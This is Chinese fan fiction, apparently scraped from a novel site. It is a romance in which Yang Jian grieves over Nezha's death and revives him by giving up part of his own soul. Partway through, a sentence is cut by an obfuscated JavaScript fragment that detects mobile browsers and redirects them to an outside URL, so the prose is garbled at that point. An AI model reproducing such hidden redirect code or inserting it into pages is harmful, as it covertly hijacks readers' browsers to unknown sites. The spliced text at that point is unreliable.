可我不这么想,原本就是他无理取闹,从前我好性子,每次他生气起来说的话都被我听了进去,但每次都没法对他发脾气,硬生生忍了这委屈,这次如何就不能是他来找我?亲是他先结的,我再伤心难过也没想过拆散他的姻缘,为何反过来后他却要对我的言行指指点点? 而且他说的什么“你要是想,咱们就拜”,这是什么意思?倒像我一厢情愿要逼着他拜堂,他出于情面纵容我胡闹,有几分我不讲理的意味了,要知道我和那龙女可不一样,从来不干强人所难的事,更何况涉及感情。 别人说张黎是我和他之间的阻碍,我并不如此认为,有些问题原本就存在,怨气也是一步步积累而成的,只是从前我总对他抱有期待,可如今想来,他可以随便就和别人成亲,而我效仿就要遭他白眼,这未必不是我惯出来的毛病。 9.只是当时(下) 【杨戬】 听说他已和那人和离,我本以为他不日便会来找我,哪知道人依旧没来,不知道是不是早已把我忘了。 也难怪,当初能抛下我这个师兄,选择那个只和他共处了一年不到的人,他的心中自然已有了决断,我丹心错付,自食恶果。枉我当日还如此维护他,如今想来,都是自我感动,他估计早已对我的偏爱习以为常,不把这当回事。 郭申外出打猎,救了只白狐,带入府中。我心下不悦,看到狐狸便想到当年的封神战场,又控制不住地想起那人,这狐狸恐怕也认得我,见了我便低眉顺眼,不敢放肆,我握着扇子冷哼一声,叮嘱郭申治好它后就将这畜生放归,随它修炼。 这几年我脾气差,偶尔降妖时下手也狠,几次去到凡间,听到那说书的说的居然还是封神大战那一遭的本,愈加烦闷。郭申见我不痛快,嚷嚷着要把三太子抓来要个说法,被我制止了。 “二爷,您就这么消沉着,也不是回事啊!” 我没觉得自己有多消沉,该做什么还是做什么,从前不也是这样吗。 【哪吒】 与张黎和离已六月有余,天化、小雷,甚至连孙猴子都已经陆续来云楼宫看过我,与我聊天谈心,唯独他。我成亲时他不在,和离时也不见人影,我不知道他在想什么。 或许他对我也有那么一点超越师兄弟的情感,但不会太多,更多的是控制欲和占有欲——他拥有比我更安稳顺利的人生,我是他身边一直乖巧伶俐的师弟,是能在战场上与他默契配合的战友,如今我骤然逃离了他的羽翼,他一时无法接受也可以理解。 因为实在无法忍受,我还是趁着下凡除魔的间隙去了一趟二郎真君府,没想着能跟他说话,能看他一眼就行。在云端,我远远地就闻到了一股狐狸味儿。 这股味道闻着就让人来气。 郭申眼尖,见我站在门口,忙向我行礼,请我进去,我刚想摆手,一身淡鹅黄色衣衫的人就出现在了门前,他面无表情,手中把玩着那把乾坤扇,冷冷地看着我,我瞬间觉得自己这次有点犯傻。 “二郎真君,”为了缓解尴尬气氛,我上前行了个礼,鬼使神差地又加了一句,“多年未见,不知真君金屋藏娇,冒昧了。” 他没接我的话,脸上依旧没什么表情,在把玩那把作为随身武器的扇子。 “真君……”我一时哽住,不知道该说什么,思来想去还是想问问,“真君这回寻了只狐狸?” “你吃醋?”他侧过了头,我看不清他的表情。 我确实吃醋,但这话可说不出口。 “从前是条龙……如今是只狐狸。” “总比花好。” 我没想到都过去这么久了,他依旧对我心怀芥蒂,既然如此,我站在这里就愈发显得可笑,我和他算不上爱人,但无论如何也算师兄弟一场,如今他甚至不愿意踏出门槛来迎我。 “那恭祝真君了,告辞。” 【杨戬】 我感觉到了他的气息。过了这么久,他总算是想起了我这个师兄。 郭申在门口迎他的时候,我就站在旁边,想笑但觉得不合适,左右不知道该摆什么表情,最后我也不知道我当时是以什么表情面对他的,我只知道他好像瘦了点,穿的是我没见过的衣服,应该是这几年新做的。 他闻到了我府里的狐狸味,语气有些吃味,我莫名觉得愉悦,嘴角不受控制,因为我知道他吃醋了。 他嘴硬心软,这个我再清楚不过。或许他软着嗓子叫我一声“二哥”,我心中的那层窗户纸就会随之破裂,可紧接着的这一句“真君”着实让我心凉。 他驾纵地金光而去,跑得飞快,郭申痛心疾首:“二爷,这人好不容易来了,您还给气走了……这算怎么回事?” 我往回迈了几步,靠着大堂的木制雕花柱子,感觉自己好像站不太稳。不知道过了多久,我长叹一口气,轻声对郭申说:“去看看他走了没。” “三太子早离开了,二爷您是糊涂了还是糊涂了?” 我可能真的糊涂了。 我觉得我要做点什么,但最终还是只回到了房内,找出那几个荷包和手帕,攒在手中。 【哪吒】 越想越气,越想越气。 我依旧不觉得我做错了,或许我和张黎的婚事有赌气的成分,但属实是你情我愿,既然当时我和杨戬没有实质性的关系,于理,我要做什么实在不用再向他报备。 可能于情,我终究还是欠他的,他再怎么样,也真真切切救了我几命,可我呢,还情是还不了了,这一通事闹下来,最终也只落得个最次的结局。 在他心里,我甚至比不上那只狐狸,那条龙么?怎么可能?我知他说的可能是气话,可仍旧怕这九成的可能中掺杂了一分的真心,若他的的确确有过这种念头,那我该如何?我是大哭大闹去找他要说法,还是从此与他相忘于江湖? 既然他已知我对他的心思,到现在仍能与我置气,我便晓得他对我并没有我对他的那番心思,至少没有那样热烈。也许他还顾及着师兄弟之情,可他为何又说出了那番伤我心的话? 想来想去,我始终不敢让自己触碰那个最可能的结论。 【杨戬】 我戴在身上的荷包不见了,那是哪吒给我的。 屋漏偏逢连夜雨,我正愁着如何去和他谈一谈,一直戴着的荷包却偏偏没了影。他送了我不止一个,应该是把他做过的都一股脑儿送来了,可我之前一直戴着那个,如今突然换了别的,他若问起来,我该如何答?这东西个个珍贵,我不想让他觉得我在拿他的心血当消耗品,更何况这是荷包。 我急得坐不住,府中上下已寻了一遍,郭申提醒我是不是侍从见了以为是绣坏了的东西,当垃圾扔了,我快步走到门口,正瞧见侍从在坪上处理一堆无用之物,那日日挂在我腰间的颜色在此时格外刺眼,原本我以为只要在侍从放火之前把荷包捞出来便可,但是…… 他竟然又来了,还是在此时来。不出所料,他也看见了躺在那对零碎杂物里的荷包,正盯着我,目光有些黯淡。 “哪吒?” 他没理我,扬手一指,先于侍从放了火,侍从也吓了一跳,见我和他分立两侧,慌张地跑开了。看见火光,我急忙扑过去,不顾火焰烧灼,从火堆里拿起了被三味真火烧得卷起黑边的荷包,看向他。 “是我不小心弄掉了,侍从不懂事,并非我有意糟蹋你——” 话未说完,他已不想听了,本来站得就离我有一段距离,我扑不到他,跑到他站的地方时他已一溜烟跑了,一句话也没同我说。 【哪吒】 我真是蠢,他早已说了那种话,我还存着侥幸心理去找他要说法做什么? 可我就是想不通他为何要这样?只是因为我嫁了张黎,就要如此羞辱我,把我送给他的东西扔在地上,和一堆垃圾为伍?见了我去,还装模作样地解释,谁不知道他最会撒谎说胡话? 可能他根本不想看到我了,如他所说,他想与我永不相见,只是我不解风情,还以为他只是在闹脾气,巴巴跑过去,扰了他和别人的好事。 我总是这样自作多情,自以为在他心中占了多重要的位置,与他吵嘴也总能得到他的原谅,殊不知我的那点真心,在他眼里就跟笑话似的。我就只有这个青色的荷包做得还算过得去,这个能扔,其他的怕是早就烧了,说不定他还要笑我手笨,绣的什么东西。 太可笑了,我好好做我的中坛元帅便是了,想这些做什么,感情一事终究不是我有福气想的。 【杨戬】 我去云楼宫求见三日,他们只说元帅闭关,谁也不见。往常我都是例外,如今居然也在拒客名单里面。 这礼还不知道要怎么赔,我递过去一坛酒,想让侍从代为传达,但他们依旧摆手拒绝,告诉我哪吒下了令,送的东西一概不收。 我无奈,在云楼外等了三日,宫内依旧没有任何反应,实在无措之下,我心生一计。回到府中,第二天便让郭申传谣出去,说我病了。 可能我也确实病了,一想到当日的场景我就浑身冒冷汗,恨不得冲进云楼宫向他诉说原委,再拿出荷包证明自己并没有糟蹋他的心意,反而一直视若珍宝,告诉他我只是很嫉妒张黎,嫉妒得连心态也有些扭曲。 我已经排演了数遍,只要见到他,我定能向他说清楚,解除误会。 【哪吒】 如云告诉我他病了,我哑然失笑,成天在府里和狐狸厮混,能不病么?他怕是忘了那纣王的下场,□□玄功乃至阳功法,若是不加节制,他的周身功力怕有一天会被狐狸吸干。 他并非沉迷美色之人,此番……怕不是真的遇上了心上人。 左右也与我没什么关系了,现在的我竟然也没从前那样心痛,可能是已经习惯了?毕竟是早想得到的结局。他要永不相见,我便如他所愿,惹不起,我难道还躲不起吗? 张黎虽已与我和离,但时不时也会前来问候,就如同天化和小雷那般,我与他已处成朋友,彼此心照不宣,也不知他如何看待这场闹剧。我闭门谢客,不见任何人,也不收任何东西,在云楼宫清静了半年,每日细读兵书,无聊时习武练字,倒也过得去。 如云贪玩,有时坐不住会出去逛几圈再回来,某日在餐桌上支支吾吾,轻声告诉我“二郎真君好像真的病得很重,玉帝都想派人去侍疾了”。 侍什么疾?难不成他身旁没有照顾的人么?我摇了摇头,夹到碗里的青菜却莫名其妙变得没了味道,应该是没放盐。 “殿下,不如我们悄悄去看看?”如云凑过来,“您想必也是挂念真君的,别的不说,以前您和真君多要好啊……” “啰嗦什么,他生病了自有人照顾。” 【杨戬】 本来是幌子,可他一日日地不来,我倒真的病了。整日昏沉,做什么都提不起兴致,郭申说我这是相思病,最初我还觉得可笑,可是…… 可是门口的桃花何时变得没有颜色了? 一日夜里,我梦见他站在我床边,静静看着我,唤我“二郎”,睁开眼,脸庞居然有些湿润,我披着披风,衣服也未换就上了天,直奔云楼宫,可惜那里依旧大门紧闭,我才醒了过来,刚才的一切都是一场梦。 他不愿意见我了。意识到这点后,我扶着云楼宫外的那棵梧桐树,缓缓坐到了地上,也是从这一刻起,我才真正地病了。 仙医给我诊脉,说我染了风寒,黄天化跟看鬼似的看着他,说仙医玩忽职守,胡编乱造,说我有玄功护体,当初在周营里百毒不侵,如今居然能被诊断染了风寒,真是笑话。 “可……可真君此症,的确是风寒,真君今日神思倦怠,心神不宁,气血不和,内力紊乱,纵有玄功护体,可要是遇上心病,这……” 我摆手示意仙医下去,天化好像已经明白了是怎么回事,劝道:“师兄,你又不是不知道哪吒的性子,他就是个豆腐心,再怎么和你闹,之后也会和你和好的,大不了你把身体养好,我陪你去云楼宫,我就不信他不给我这个面子……” 天化还在喋喋不休,我脑袋嗡嗡的,听不太清楚,即便他说得有理,直觉告诉我这次事情绝对不会像从前那般简单。 【哪吒】 我是闭关了,不是死了。 天化来敲门,小雷来敲门,过了三五天,连孙猴子也来敲门,左不过都是劝我去瞧瞧杨戬。我知道他们都是来劝和的,也觉得好笑,平常我和他闹起来,他不理我,没人来劝劝他,如今我不理他,倒一个个排着队来劝我,到底还是他金贵,受不得委屈。 又过了几天,他好像被天化搀着来了,我就坐在园内的桂花树下,如云替我回话,告诉他我一切都好,仍在闭关中。 门外很安静,之前一直在说话的天化也没作声了。过了半晌,他低沉的声音传了过来:“告诉他我很想见他,之前的一切不是他想的那样,我可以解释。” “告诉他……我希望他能原谅我。” 最后一句的尾音很轻,我听在心里。如云看着我,面露难色,我轻轻摇头。 “真君,您先回去吧,我会告诉殿下的。” 那边没有声音,我想该是回去了,如今他的声音听着确实虚弱不少,很难想象他也会病成这个样子。 明日我倒真要出关,去东荒鬼族走一遭,原本这事半月前就该了结,可奈何锁魔镜被盗,硬生生分了我半边人手去,这才不敌。若我能顺利归来,就去见杨戬,听他如何跟我狡辩。 【杨戬】 听天化说他得胜归来,刚刚回云楼宫休息,我想去看看他,看他有没有受伤,可是再度吃了闭门羹。他还是不肯见我,不肯原谅我,甚至不肯亲口同我说一句话。 我叩了叩门,轻声问如云:“我在这儿说话,他能听到对不对?” 如云不作声。 “他好不好?有没有受伤?”我咳了几声,把手中的药递过去,“这丹蕴藏了我的玄功,可调理他的身体,你帮我给他罢,就说是别人给的。” “殿下说了,不收您的东西,您请回吧。” “如云,你帮我告诉他,就说杨戬求见,远远看他一眼就行,不奢望别的。” 我从来没有如此低声下气来求过什么,这是第一次,如果他能听见,我希望他至少能给我一个机会,把从前的误会解释清楚,可是他依旧没有回应我。如云劝我离开,我怎么肯走,僵持间,我看到药王带着一对人朝云楼宫来了,脚步匆匆,如云的语气也慌了起来,直叫我走。 “他受伤了是不是?他生病了?”我敲了敲门,又去迎药王,问怎么回事,药王朝我作揖,转头就要往云楼宫里面去,我不好阻拦,想跟着过去,被如云拦住了:“真君,您别……” “你老实告诉我他怎么了。” “殿下不许我多说,说不劳烦您相救……” “说得真轻巧,前几次要不是我,他早形神俱灭了。” “殿下说了,正因为之前劳烦真君太多次,这次就……” “如云,我和他什么交情你是知道的,跟我说这些未免太可笑。” “实在对不住,真君,”如云伏地而跪,“您请回吧,您自己的身体还未好全,药王会照顾好三太子的。” “他真的受伤了?”我顿时确定了,哪吒这回得胜恐怕不像别人说的那样顺利,我更不能袖手旁观,知道他受伤却不了解一星半点具体情况,这让我顿时烦了起来,“快说,他究竟如何?” “真君……” “你是觉得我不敢强闯云楼宫?” “真君,我直说了吧,殿下正是虚弱期,药王叮嘱过不能动气,您这一进去难免又会让殿下想起从前的伤心事,不利于殿下恢复。” 好,好,好啊。 【如云】 殿下归来后就拽着我的手,柔声细语地对我说了些话,让我好好打理云楼宫上下,我不明所以,好一通询问后才知道原委。东荒鬼族不足为惧,可怕的是他们散播的疫病,殿下平乱后见凡人受苦,民不聊生,扯下了自己的莲身平疫。 殿下以莲花为身,扯下一部分身体原本就会让元气大伤,听说昔日伐纣之时,汜水关的七首将军就是伤及了殿下的莲身,才让殿下浑身颤抖,无法言语,性命垂危。殿下扯了莲身救人,本该回来好好修养,却在撤兵路上遭到鬼族余部偷袭,虽然得胜,但也因此近乎磨去了半条命,没说多久的话就倒床不起,神志已经不太清醒。 因事出突然,根本来不及安排什么,他就只对我说了些话,这零星几句话里关于二郎真君的就占了两句。殿下让我不要对真君有何看法,他要是真的撑不过这几天,死相应该不会太好看,让我无论如何拦着真君进云楼宫。 我刚想说他不会死的,他又有些迷糊了,我急忙让人叫了药王,又照殿下下属的建议,给殿下喂仙丹,就在此时,云楼宫响起了急促的敲门声。 不用想我也知道是谁,我拦下护卫,自己过去开了门,果然是二郎真君。 【杨戬】 我担心他,气他,可又想他。为了拒绝我,他拒绝了所有天庭宾客,天化小雷都没法进云楼宫,没人知道里面在做什么。我一不做二不休,直接去问外公,看到了哪吒手下的兵将正站在下面,待我禀明情由,几员大将开始窃窃私语,个个神色凝重,我没来由地一阵心慌,连声问哪吒的情况,可他们不吭声。 “戬儿,他们都是听命行事,切不要迁怒于他们。” “我只想知道哪吒到底如何了,这也有错么?” 见问不出结果,我又回到了熟悉的地方,云楼宫依旧大门紧闭,我握紧扇子,刚想强闯,如云好像感应到了我的到来,打开门就向我跪了下来,言辞恳切。 “真君,殿下知道您的来意,托我给您传话。” “他说什么?他如何了?”我双眼放光,忙凑过去扶起他,急切地想要听到哪吒的话,哪怕只是托人传达,此刻的我也心满意足。 “殿下说……”如云支支吾吾,“说他并不怪您,也不怨您,希望您能好好生活,别总过来了。” 我没从这些话中听到一丝情感,也不敢相信这是他带给我的话,但如云如此说,我也不好反驳什么,只能追问:“那他现在如何?何时才愿意见我?” 我还有很多话想对他说,很多事情想给他解释,想到我怕是要抓住见他的机会给他疗伤,我这段时日遵从仙医的嘱咐,饮食和疗养都不敢怠慢。回想起来,从前我确实有些不可理喻,我容不下一个已经对我表明心意的人转头对别人展露好感,可有些事情本不是三言两语就可概括的,须知情感原本就是很复杂的东西,哪吒重情重义,硬逼他在顷刻间抛下一个曾经帮过他的人,这不现实。 他对我心思如何,从他为我做荷包的那一刻就已经明了了,我干嘛与他置气,更何况我和他的交情摆在那儿,旁人不能理解,也无法插入。 “真君恕罪,殿下须静养,还请您早些回去,珍重自身。” “让我进去瞧瞧他,瞧一眼就行。”我试探性地往前迈了一步,如云如临大敌,扑过来想阻止我,我早有预判,闪身往另一边走,跨过门槛,走到前院,乾坤扇一开,他再不敢拦我了。 “真君……真君!” 【如云】 殿下嘱咐过,他若出了事,身体一定不能让二郎真君看到。如今他命在魂绝,莲身凋零残破,发黑发青,解救之法尚未找到,太乙仙尊那边也未来信,此时若是让真君见到殿下这幅样子,他日殿下知道了,一定十分难过。 “真君!”我拼了命抵住他,顾不得冒犯,侍卫听到动静,纷纷赶来,我知道我们这些人都不是二郎真君的对手,只求他别在殿下的地方与我们动真格。 见到我们这样拦着他,他大致也猜得到发生了什么,眼中佯装的冷静之色已完全褪下,看得出他很想把我甩到地上,可碍于我是殿下的贴身侍从,尚给我留了几分面子。 “他……”我看到真君拿着扇子的手在抖,“他还在吗?” 我懂他的意思,连连点头,他长吁了口气,继续问我:“只是还没醒?……还是性命垂危?” “尚未醒来,”我垂下头,有些心虚,“殿下九死一生,好不容易才稳住内力,真君此时心急如焚也好,想一探究竟也罢,还望以殿下为重,待到殿下醒来,自会邀真君相聚。” 他站在原地反复思量,视线始终凝聚在殿下寝宫的窗户上。末了,他摆摆手,转身离开了。 他没想到,我也没想到,这就是他俩最后一次在彼此尚有气息之时隔得如此之近了。 太乙仙尊托人送来了莲花,说是试试,每个人都知道机会不大,此时的殿下整张脸都变了色,头发干枯似草垛,莲身受到的冲击太重,连带着将灵识伤了,再难重铸身体。废了几番周折,殿下再也撑不下去了,药王将灵珠子的灵识牢牢封在殿□□内,以求之后能寻到一线转机。 殿下最终在我怀里咽了气,奄奄一息之时,我听见他说他很想见见二郎真君,可是不敢见,怕自己的这幅样子吓到他,又说自己不该和他置气,不论他爱谁,他俩始终都是师兄弟。 在玉帝的授意下,云楼宫为殿下秘密发丧,天庭以中坛元帅闭关的名义,小心地封锁殿下已去的消息,不想让别人,尤其是妖魔,听到风声。 殿下的棺椁是特制的,千年寒冰加上符咒保护,能让他保持离开前的样子,我知道二郎真君总有一天会发现真相,找到殿下的棺椁,因而在透明冰棺外加了一层柳木。 【杨戬】 没有办法了,如云不对我说实话,我只能另寻他法。找到张黎后,我取了他的血,以血为引,动用天眼探查——他与哪吒有过夫妻之实,彼此能相互感知,纵然和离,红线已断,但凭我的功力,还是能捕捉到一丝残余的灵气。 张黎不知道我在干什么,看他一副不知所措的样子,我也懒得解释,因为在我刚要探到哪吒的情况时,灵气断了,我的天眼闪过一个模模糊糊,躺在冰棺里的人,外面的木质棺材正缓缓将冰棺包裹。 完了。 我疾速赶到云楼宫,几乎把门整个掀了,如云才勉强让我进来,一步一跪,求我回去,我视而不见,直奔哪吒的寝殿,意料之中空无一人。 打开乾坤扇,我倚着最后一丝耐心,朗声道:“带我去见他。” 如云摇头,我就势拿扇子抵住他的喉咙。到底是哪吒身边的人,面对我,他并无惧色,轻声道:“殿下遗命,真君不能不从,不然殿下死不瞑目。” “遗命?”我眉头紧锁,手指几乎要将扇骨捏碎,“活要见人,死要见尸,今日你们不让我见他,我便把云楼宫翻过来。” “真君大可动手,殿下离开得仓促,莲身毁了大半,面目全非,不想让真君见到本就情有可原,若殿下九泉下有知,知道我今日放了真君去见他,哪日活过来也是要惩罚我的,不如现在了断。” “好个忠仆,”我在心中暗暗佩服起面前的人,不愧是哪吒调教出来的仙侍,不会被我这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230253|196835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幅疾言厉色的样子吓到,“好,你只告诉我,他何时……何时咽的气?” “……三日前。” 我最终逃出了云楼宫。落荒而逃,狼狈不堪。我想到他三日前就咽了气,想到如云说的他死前面目全非,想到他扯下莲身平疫救人,想到他最后一次出现在我府中,那也是我和他真正意义上的最后一面,当时他误会我烧掉了他的荷包,愤然离去…… 我想到我负气和他分别那日说的“永不相见”,我知道修道之人出言须谨慎,但没想到这句在当时看上去不着边际的气话会应验。如今我和他可能真的要永不相见了,可是我还有很多话想对他说,我们之间的误会还没解开。 我还没告诉他我爱他,如同他爱我那样;他不知道我嫉妒张黎,因为我也想和他成亲,想做他的伴侣;我从未爱上除他之外的任何人…… 我奔回府里,靠在床榻边大喘气,脑海里反复浮现他来我府中找我的样子,心口阵阵绞痛。 他不会就这么死了,他不能就这么死了,我就算拼了这条命,也要把他救回来,哪怕他回来后恨我、怨我、要与我恩断义绝,或是不记得我,我也要让他再度复活。 【如云】 殿下的莲身与灵珠子灵气相融太久,一时半刻难以分开,故而重塑身体难度大,更何况散播莲身时,连带着一部分灵气也散出去了,不尽完整。 头七、二七、三七……日子一天天地过,我在云楼宫为殿下戴孝披麻,就在三月之期将满之时,二郎真君再度光临,带来了他自己炼制的法宝——结魂灯。这玩意儿小巧玲珑,状似莲花,真君把它握在手上,问我能不能让他试试,我犹豫半晌,同意了。 云楼宫的地下阴凉干燥,我带着真君过了重重关卡,来到了殿下的长眠之地。 真君跪在殿下的棺椁前,施法点燃了结魂灯,灯芯晃悠悠,他则仰头凝视暗棕色的棺木,伸手轻轻抚摸上过漆的光滑木缘,如同抚摸殿下的面庞那样专注、温柔。 【杨戬】 结魂灯一亮十年,我对时间已经麻木,可无论我如何努力,灵珠子的灵识就是聚不拢。 我跪在乾元山金光洞前求师伯出山,他老人家曾经复活过哪吒一次,这次无论怎样应该也能把握其中的关窍,至少能告诉我到底是哪里做错了。 一跪数月,从秋到冬,金光洞前的松树覆上了一层厚厚的雪。我抬头看向终于肯见我的师伯,重重下拜,求他赐教,他却长叹一声:“以莲身救世,他也算完成了救苦济世的使命,正因莲身已下世救苍生于水火,一直无法被召回,连带着灵识也不完整。” “求师伯赐教!” “你真的这么想救活他?”太乙师伯看着我,眼带悲哀,“杨戬,他此番复活牵扯太多,须得有一人来承受这代价,你可不要当成儿戏……” “任何代价,杨戬一力承担,”我垂头道,“只求让他复活,全了昔日的遗憾。” “说得轻巧,他灵识不全,须由一人的魂魄来补,从此以后与那人共享生命,共生共死……” 我再次下拜:“师伯如不嫌弃,杨某愿以自身魂魄补全哪吒的灵识。” “如此一来,他身上便有了你的一魂,你和他便算得上一莲托生。杨戬,我知道你与他交好,可到这程度,你须得仔细想想。” “我已经想了很久,师伯,”我依旧跪在地上,“想了太久,以至于他离开我了,我还懵然不知,比起我对他的亏欠,一魂属实算不了什么。” “你俩之间究竟发生了什么我不想追究,”太乙师伯回过身,“你若诚心想让他复生,就去乾元后山荷花池内取来一朵莲花,我好为他修补身体。” 我又拜了拜,道过谢,直奔乾元山的荷花池,当初哪吒也是在这儿复生,我知道太乙师伯这是允了我的提议。 结魂灯依旧亮着,我捧着莲花跪在哪吒棺椁前,如云见太乙来,欣喜不已,自然同意我开棺的请求。打开棺椁,被封在冰棺下的身体周身乌黑,他昔日姣好的面容如秋叶般枯萎,脸颊真如花瓣般凋零了。我的哪吒,就算到了如此地步,他的逝去比起旁人也多了分美感。 塑身不是什么难事,让缺了一部分的灵珠子灵识归体才叫困难,因为有玄功护体,我已数千年没尝过疼痛的滋味了,此番魂魄离体,让我痛得伏地不起,浑身颤抖无力,太乙师伯见我痛苦,于心不忍,想来是狠不下心用他人的命去救哪吒。我微微摇头,扶着如云的手,哀求道:“师伯……” “杨戬,你与他既非道侣,也非亲人,我听闻你们在前段时日还闹了不愉快,若是因为愧疚,那你实在不用如此,此事一旦成功便不可逆转,你若是后悔了,苦的还是我徒儿啊……” “师伯不必多说,弟子心意已决。” 【如云】 真君疼得脸色发白,额头冒出星点豆大的汗珠,我想去扶他,他摆摆手,摸到冰棺旁去握殿下的手,可没等他够到,他便又疼得跪倒在地。 自他身上分出的一魂补全了殿下空缺的灵识,完整的灵力回了体,太乙仙尊长叹了口气,伸手扶起还在浑身冒汗、颤抖着身体的真君,轻声叮嘱:“如今你的魂在他身上了,你若有心,他也愿意的话……” “弟子知道,必不辜负……” 真君直接栽倒在地,扶着冰棺吭不了声,太乙仙尊忙递给我一颗金丹,让我伺候真君服下。 “杨戬。” “弟子在……” 太乙仙尊摇了摇头,见真君强撑着一丝清明意识回他的话,喃喃道:“魂魄离体大致如此,你有玄功护体,还能回我的话,若是旁人,怕是得昏死过去,你……哎……事到如今无法逆转,等他灵识回正,你带着他来乾元山一趟吧。” “谨遵师伯之命。” 我以为这只是让殿下苏醒的权宜之计,哪知真君竟然就这样将他的一魂给了殿下,惊愕垂头之余,见他依旧伏在地上喘气,急忙将他扶起来。真君低声道了句谢,目送太乙仙尊离开,接着又挣开我的手,扑向冰棺里的殿下。 此时的殿下依旧形同木偶,但周身的乌色似乎在渐渐褪去,真君握了他的手,面色苍白,却很欢喜,喜悦似乎让他渐渐忘却了疼痛。 【杨戬】 师伯告诉我,我与哪吒从此一莲托生,同生共死,灵魂相连,他借我的魂补回了缺失的灵识,得以复生,我的魂放了一部分在他那儿,只有与他一起,我才算真正完整。这种感觉很奇妙,我能感觉到他身体的温度和跳动的心脏,即便并未与他相拥,我依旧能清晰地感觉到他的身体在逐渐恢复活力。 他逐渐恢复了姣好的面容,或许是我的玄功起了作用,他的肌肤比从前更晶莹通透,焕发着珍珠般的光泽。 我抱着他静静坐在云楼宫前院的桃花树下,如云已经开始打点府中事务,厨房也忙碌了起来。待他醒来,我会为他好好调养身子,向他说明来龙去脉,再带着他去乾元山,若他愿意,我就择吉日去金光洞提亲,正式与他结契。 若他不愿,我也不能强迫他,依旧安安分分与他做师兄弟就是了。毕竟经过这一遭,我并不敢确定他对我的感情。 他醒来的那一刻,我喜极而泣,拥他入怀,心脏就快要跳出胸膛了。他懵懵懂懂,随着我的安排修养了几日才恢复神智,听我解释后一阵沉默,接着俯身跪倒在地,我吓得不轻,跟着跪了下去,试图扶他起来,他岿然不动。 “哪吒跪谢师兄救命之恩。” “你我之间言谢便是生分了,”我扶着他的手,“过几日我和你去一趟乾元山。” “好。” 我知道现在可能不是什么好时候,可这话我已憋了许久,也早该开口了。我抚上他的脸,轻声问:“如今你我已是相融相合,分开不得,你……可愿意与二哥结契?” 他很平静地摇了摇头:“这使不得,二哥为我做出如此牺牲,哪吒已是愧疚不已,怎好再委屈二哥?哪吒此生能有一位二哥这样的师兄,已是修来的福气,二哥渡魂乃权宜之计,我怎好以此为契机让二哥与我成亲?不可,不可。” 【哪吒】 此番他让我就此死去怕是还好些,救我也就罢了,居然还渡了魂魄给我,与我一莲托生。这份情叫我要如何还? 我还不了,我只觉得愧疚。之前还与他置那么久的气,他不计前嫌来救我也就罢了,还付出这么大的代价,扯了自己的魂魄给我,可能是为了安抚我的情绪,竟然还提出要和我成亲,这世上再没有如他这般体贴温柔的人了。 我怎好再麻烦他。我已经明白了,我爱他,因此希望他能够幸福快乐,如从前那般在二郎真君府过逍遥日子,而不是日日为我操心。从前我便是太在乎个人的感受,才会说了那些拆散他姻缘的话,还与他闹脾气,嘴上说着恭贺之语,心中还是希望他能来找我,希望自己能与他成亲。如今想来,我一个连荷包都绣得那么丑的人,怎能照顾好他? 细细一想,涉及到他,我的蠢事干得还真不少,我也没想给他添乱子,可…… 可能正如他所说,龙和狐狸确实好过我,至少不会给他添这样一连串的乱,还转过来给他甩脸色。 对了,上次他生病,我还气着,因此也没去瞧他——我都要被自己这些任性的行为气笑了。 【杨戬】 意料之中,他拒绝了我。 也是,我之前那样伤他,他性子好,主动来找我求和,我却得寸进尺,被嫉妒冲昏了头,连门都没让他进,还说了那些不着边际的话,如今想来,当真是…… 杨戬啊杨戬,你既知言语可伤人,又知晓他打掉牙和血吞的性子,为何当初要如此?我在心中反复默念,也知道答案,哪吒一向迁就我,顾念着我生气,任我说话再难听、做事再不理智,他大多也会主动来与我求和,不会往心里去——如今想来,他并不是不往心里去,而是在纵容我,包容我,究其原因,还是因为他爱我。 我知道他爱我,拿到荷包和手帕之后就更确认了,因此我有恃无恐,一边装作没什么,一边又借此试探,想看看他是不是真的爱我,他到底有多爱我。 可我忘了给他回应,我忘了告诉他我也爱他。 “二哥,哪吒……”他握着我的手,还有些苍白的面容带着笑意,“哪吒真的不知该如何报答这份恩情,从此以后更敬您为兄长,您要是不嫌弃,请受哪吒大礼。” 我看着他朝我跪了下去,回想刚才他说的话,浑身都凝固了。他朝我磕了三个响头,我只觉得有人拿手死死掐住了我的脖子,让我喘不了气,也动弹不得。 一颗真心,居然被我糟蹋至此。 回到府中,我失控落泪,翻出从前他留下来的物件,意外地从箱子底层摸到了一条当初被我看漏了的蓝色丝帕。丝帕的绣工依旧粗糙,歪歪扭扭,白色的线不太打眼,但我还是认出来了。 “此情可待成追忆,只是当时已惘然。” 【哪吒&杨戬】 我爱他,我会一直爱他,如果上天眷顾,也许我能等到与他堂堂正正结契成婚的那一天。